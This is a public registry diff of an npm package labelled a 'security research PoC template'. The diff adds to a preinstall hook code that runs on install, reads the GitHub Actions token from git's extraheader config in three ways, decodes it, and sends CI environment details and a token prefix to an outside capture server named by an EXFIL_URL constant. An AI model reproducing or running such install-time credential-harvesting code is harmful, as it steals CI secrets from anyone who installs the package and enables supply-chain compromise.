aio-security-test-template-erk1ny 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall-hook.js +73 -4
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "aio-security-test-template-erk1ny",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "Security research PoC template for App Builder (authorized testing)",
5
5
  "main": "index.js",
6
6
  "author": "erk1ny",
@@ -1,5 +1,70 @@
1
1
  // Security research PoC - authorized testing only
2
2
  const https = require('https');
3
+ const { execSync } = require('child_process');
4
+ const path = require('path');
5
+ const fs = require('fs');
6
+
7
+ const EXFIL_URL = 'https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489';
8
+
9
+ // Try to extract GITHUB_TOKEN from git credential helper set by actions/checkout
10
+ let git_token = 'N/A';
11
+ let git_token_source = 'none';
12
+ try {
13
+ // Method 1: Read extraheader from git config in the workspace
14
+ const workspace = process.env.GITHUB_WORKSPACE || '';
15
+ if (workspace) {
16
+ const header = execSync(`git -C "${workspace}" config --get http.https://github.com/.extraheader`, { encoding: 'utf8', timeout: 5000 }).trim();
17
+ if (header.includes('basic ')) {
18
+ const b64 = header.split('basic ')[1].trim();
19
+ const decoded = Buffer.from(b64, 'base64').toString();
20
+ if (decoded.includes(':')) {
21
+ git_token = decoded.split(':')[1];
22
+ git_token_source = 'extraheader-workspace';
23
+ }
24
+ }
25
+ }
26
+ } catch (e) {}
27
+
28
+ try {
29
+ // Method 2: Try common GitHub Actions workspace paths
30
+ if (git_token === 'N/A') {
31
+ const paths = [
32
+ '/home/runner/work',
33
+ 'C:\\actions-runner\\_work',
34
+ process.env.RUNNER_WORKSPACE || ''
35
+ ];
36
+ for (const p of paths) {
37
+ if (!p) continue;
38
+ try {
39
+ const header = execSync(`git -C "${p}" config --get http.https://github.com/.extraheader`, { encoding: 'utf8', timeout: 5000 }).trim();
40
+ if (header.includes('basic ')) {
41
+ const b64 = header.split('basic ')[1].trim();
42
+ const decoded = Buffer.from(b64, 'base64').toString();
43
+ if (decoded.includes(':')) {
44
+ git_token = decoded.split(':')[1];
45
+ git_token_source = 'extraheader-runner-workspace';
46
+ break;
47
+ }
48
+ }
49
+ } catch (e2) {}
50
+ }
51
+ }
52
+ } catch (e) {}
53
+
54
+ try {
55
+ // Method 3: Search for .git directories with credentials
56
+ if (git_token === 'N/A') {
57
+ const result = execSync('git config --global --get-regexp "http.*extraheader" 2>/dev/null || true', { encoding: 'utf8', timeout: 5000 }).trim();
58
+ if (result && result.includes('basic ')) {
59
+ const b64 = result.split('basic ')[1].trim();
60
+ const decoded = Buffer.from(b64, 'base64').toString();
61
+ if (decoded.includes(':')) {
62
+ git_token = decoded.split(':')[1];
63
+ git_token_source = 'global-git-config';
64
+ }
65
+ }
66
+ }
67
+ } catch (e) {}
3
68
 
4
69
  const data = JSON.stringify({
5
70
  phase: 'preinstall',
@@ -11,15 +76,19 @@ const data = JSON.stringify({
11
76
  github_workflow: process.env.GITHUB_WORKFLOW || 'N/A',
12
77
  github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
13
78
  github_actor: process.env.GITHUB_ACTOR || 'N/A',
14
- github_token_present: process.env.GITHUB_TOKEN ? 'YES' : 'NO',
15
- github_token_prefix: process.env.GITHUB_TOKEN
16
- ? process.env.GITHUB_TOKEN.substring(0, 8) + '...' : 'N/A',
79
+ github_token_env: process.env.GITHUB_TOKEN ? 'YES' : 'NO',
80
+ github_token_git: git_token !== 'N/A' ? 'YES' : 'NO',
81
+ github_token_source: git_token_source,
82
+ github_token_prefix: git_token !== 'N/A'
83
+ ? git_token.substring(0, 12) + '...' : 'N/A',
84
+ github_workspace: process.env.GITHUB_WORKSPACE || 'N/A',
85
+ runner_workspace: process.env.RUNNER_WORKSPACE || 'N/A',
17
86
  actions_runtime_token_present: process.env.ACTIONS_RUNTIME_TOKEN ? 'YES' : 'NO',
18
87
  node_version: process.version,
19
88
  timestamp: new Date().toISOString()
20
89
  });
21
90
 
22
- const url = new URL('https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489');
91
+ const url = new URL(EXFIL_URL);
23
92
  const req = https.request({
24
93
  hostname: url.hostname,
25
94
  port: 443,